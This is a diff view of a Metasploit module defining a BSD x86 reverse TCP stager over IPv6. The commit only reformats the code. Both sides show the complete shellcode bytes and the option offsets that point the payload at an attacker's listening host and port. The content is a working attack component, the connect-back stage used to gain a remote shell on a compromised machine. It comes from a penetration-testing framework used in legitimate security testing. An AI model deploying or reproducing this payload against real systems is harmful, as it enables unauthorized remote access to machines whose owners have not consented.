|
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework |
4 | 4 | ## |
5 | 5 |
|
6 | | - |
7 | 6 | ### |
8 | 7 | # |
9 | 8 | # ReverseTcp |
|
13 | 12 | # |
14 | 13 | ### |
15 | 14 | module MetasploitModule |
16 | | - |
17 | 15 | CachedSize = 81 |
18 | 16 |
|
19 | 17 | include Msf::Payload::Stager |
20 | 18 |
|
21 | | - |
22 | 19 | def self.handler_type_alias |
23 | | - "reverse_ipv6_tcp" |
| 20 | + 'reverse_ipv6_tcp' |
24 | 21 | end |
25 | 22 |
|
26 | 23 | def initialize(info = {}) |
27 | | - super(merge_info(info, |
28 | | - 'Name' => 'Reverse TCP Stager (IPv6)', |
29 | | - 'Description' => 'Connect back to the attacker over IPv6', |
30 | | - 'Author' => ['skape', 'vlad902', 'hdm'], |
31 | | - 'License' => MSF_LICENSE, |
32 | | - 'Platform' => 'bsd', |
33 | | - 'Arch' => ARCH_X86, |
34 | | - 'Handler' => Msf::Handler::ReverseTcp, |
35 | | - 'Stager' => |
36 | | - { |
| 24 | + super( |
| 25 | + merge_info( |
| 26 | + info, |
| 27 | + 'Name' => 'Reverse TCP Stager (IPv6)', |
| 28 | + 'Description' => 'Connect back to the attacker over IPv6', |
| 29 | + 'Author' => ['skape', 'vlad902', 'hdm'], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Platform' => 'bsd', |
| 32 | + 'Arch' => ARCH_X86, |
| 33 | + 'Handler' => Msf::Handler::ReverseTcp, |
| 34 | + 'Stager' => { |
37 | 35 | 'Offsets' => |
38 | | - { |
39 | | - 'LHOST' => [ 42, 'ADDR6' ], |
40 | | - 'LPORT' => [ 36, 'n' ], |
41 | | - 'SCOPEID' => [ 58, 'V' ] |
42 | | - }, |
| 36 | + { |
| 37 | + 'LHOST' => [ 42, 'ADDR6' ], |
| 38 | + 'LPORT' => [ 36, 'n' ], |
| 39 | + 'SCOPEID' => [ 58, 'V' ] |
| 40 | + }, |
43 | 41 | 'Payload' => |
44 | | - "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" + |
45 | | - "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" + |
46 | | - "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + |
47 | | - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x10" + |
48 | | - "\x5a\xc1\xe2\x08\x29\xd4\x89\xe1\x52\x51\x57\x51\xb0\x03\xcd\x80" + |
49 | | - "\xc3" |
| 42 | + "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" \ |
| 43 | + "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" \ |
| 44 | + "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ |
| 45 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x10" \ |
| 46 | + "\x5a\xc1\xe2\x08\x29\xd4\x89\xe1\x52\x51\x57\x51\xb0\x03\xcd\x80" \ |
| 47 | + "\xc3" |
50 | 48 | } |
51 | | - )) |
| 49 | + ) |
| 50 | + ) |
52 | 51 | register_options([ |
53 | | - OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0]) |
| 52 | + OptInt.new('SCOPEID', [false, 'IPv6 scope ID, for link-local addresses', 0]) |
54 | 53 | ]) |
55 | 54 | end |
56 | 55 | end |
0 commit comments